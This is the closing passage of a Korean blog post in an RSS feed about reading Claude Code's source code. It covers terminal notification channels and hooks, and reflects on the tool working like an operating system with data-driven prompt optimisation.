  &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;kitty&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nx"&gt;terminal&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;notifyKitty&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;opts&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;title&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;generateKittyId&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;kitty&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;iTerm2는 전용 escape sequence를 쓰고, Kitty는 Kitty 프로토콜을 쓴다. &lt;code&gt;auto&lt;/code&gt; 모드에서는 터미널 종류를 감지해서 적절한 채널을 고른다.&lt;/p&gt;

&lt;p&gt;Hook으로도 알림을 보낼 수 있다. &lt;code&gt;executeNotificationHooks(notif)&lt;/code&gt;가 먼저 실행되고, 그 다음 터미널 알림이 간다. Slack이나 Discord 웹훅으로 알림을 보내는 Hook을 만들 수 있다는 뜻이다.&lt;/p&gt;

&lt;h2&gt;
  
  
  소스코드가 말해주는 것
&lt;/h2&gt;

&lt;p&gt;1,884개 파일을 뜯어보면서 느낀 건, Claude Code가 단순한 "AI 코딩 도구"가 아니라 &lt;strong&gt;하나의 운영체제에 가까운 플랫폼&lt;/strong&gt;이라는 거다.&lt;/p&gt;

&lt;p&gt;프로세스 관리(에이전트 시스템), 스케줄링(크론), 파일시스템(메모리, 워크트리), 입력 처리(키바인딩, 마우스, 음성), 알림 시스템, 플러그인 아키텍처, 퍼미션 시스템. OS가 제공하는 기능의 대부분을 자체 구현하고 있다.&lt;/p&gt;

&lt;p&gt;UE5를 쓰면서도 비슷한 느낌을 받는다. "이건 게임 엔진이 아니라 사실상 OS다"라는. Claude Code도 같다. 터미널 안에서 돌아가는 AI 운영체제.&lt;/p&gt;

&lt;p&gt;그리고 곳곳에 묻혀 있는 주석들 — "10.2% of fleet cache_creation tokens", "research shows ~1.2% output token reduction" — 이 숫자들이 Anthropic이 &lt;strong&gt;제품을 어떤 수준으로 최적화하는지&lt;/strong&gt; 보여준다. 감이 아니라 데이터로 프롬프트를 튜닝한다. 1.2%를 줄이기 위해 프롬프트 문구를 바꾸고, 10.2%를 줄이기 위해 아키텍처를 재설계한다.&lt;/p&gt;

&lt;p&gt;코드를 직접 뜯어보지 않았으면 이런 건 절대 몰랐을 거다.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"문서에 환경변수 30개가 있으면, 소스코드에는 195개가 있다. 좋은 도구는 항상 보이는 것보다 깊다."&lt;/p&gt;
&lt;/blockquote&gt;

</description>
      <category>ai</category>
      <category>claudecode</category>
    </item>
  </channel>
</rss>
